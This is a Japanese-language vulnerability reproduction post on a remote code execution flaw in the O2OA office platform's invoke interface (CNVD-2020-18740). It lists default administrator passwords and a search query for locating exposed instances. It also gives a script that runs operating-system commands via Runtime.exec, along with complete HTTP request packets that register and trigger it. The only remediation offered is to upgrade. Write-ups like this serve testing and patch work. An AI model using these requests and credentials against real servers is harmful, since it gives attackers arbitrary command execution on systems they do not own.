banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

O2OAのバックエンドリモートコマンド実行の脆弱性

漏洞概要#

O2OA は、オープンソースで無料の企業およびチームのオフィスプラットフォームであり、ポータル管理、プロセス管理、情報管理、データ管理の 4 つのプラットフォームを提供しています。作業報告、プロジェクト協力、モバイル OA、ドキュメント共有、プロセス承認、データ協力など、多くの機能を備えており、企業のさまざまな管理および協力ニーズを満たしています。 O2OA システムの invoke インターフェースには、リモートコード実行の脆弱性が存在します。攻撃者はこの脆弱性を利用して任意のコードを実行することができます。

影響範囲#

title=="O2OA"
CNVD-2020-18740

攻撃手順#

環境を Docker で取得する

docker pull oxnme/o2oa:6.1.3

docker run --name o2server -p 80:80 -p 20010:20010 -p 20020:20020 -p 20030:20030 -d o2oa/o2server

弱いパスワード:xadmin/o2oa@2022

環境が構築されたら、ブラウザで 8001 ポートに直接アクセスし、o2oa のログインページに自動的に移動します。

http://192.168.31.151:8001/x_desktop/index.html

image

デフォルトのパスワード xadmin/o2 を入力してログインします。

注:新しいバージョンの O2OA のデフォルトパスワードは:xadmin/o2oa@2022

image

サービス管理を見つける

image

新しいインターフェース設定を追加する

image

以下のコマンドを実行する内容を入力します。

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];
while (true) {
    var oneline = bufReader.readLine();
    result.push(oneline);
    if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json"); 

image

または、次のリクエストパケットでインターフェース設定を作成することもできます。

image

リクエストパケットは次のようになります。

POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA

{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n    var oneline = bufReader.readLine();\n    result.push(oneline);\n    if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}

コマンドを直接実行します。

image

リクエストパケットは次のようになります。

POST 192.168.31.151:20030/x_program_center/jaxrs/invoke/cmd/execute
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA

{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n    var oneline = bufReader.readLine();\n    result.push(oneline);\n    if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}

異なるコマンドを実行するには、異なるインターフェース設定を作成する必要があります。

修正案#

バージョンをアップグレードする

参考#

http://wiki.peiqi.tech/wiki/oa/O2OA/O2OA%20invoke%20%E5%90%8E%E5%8F%B0%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CNVD-2020-18740.html

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。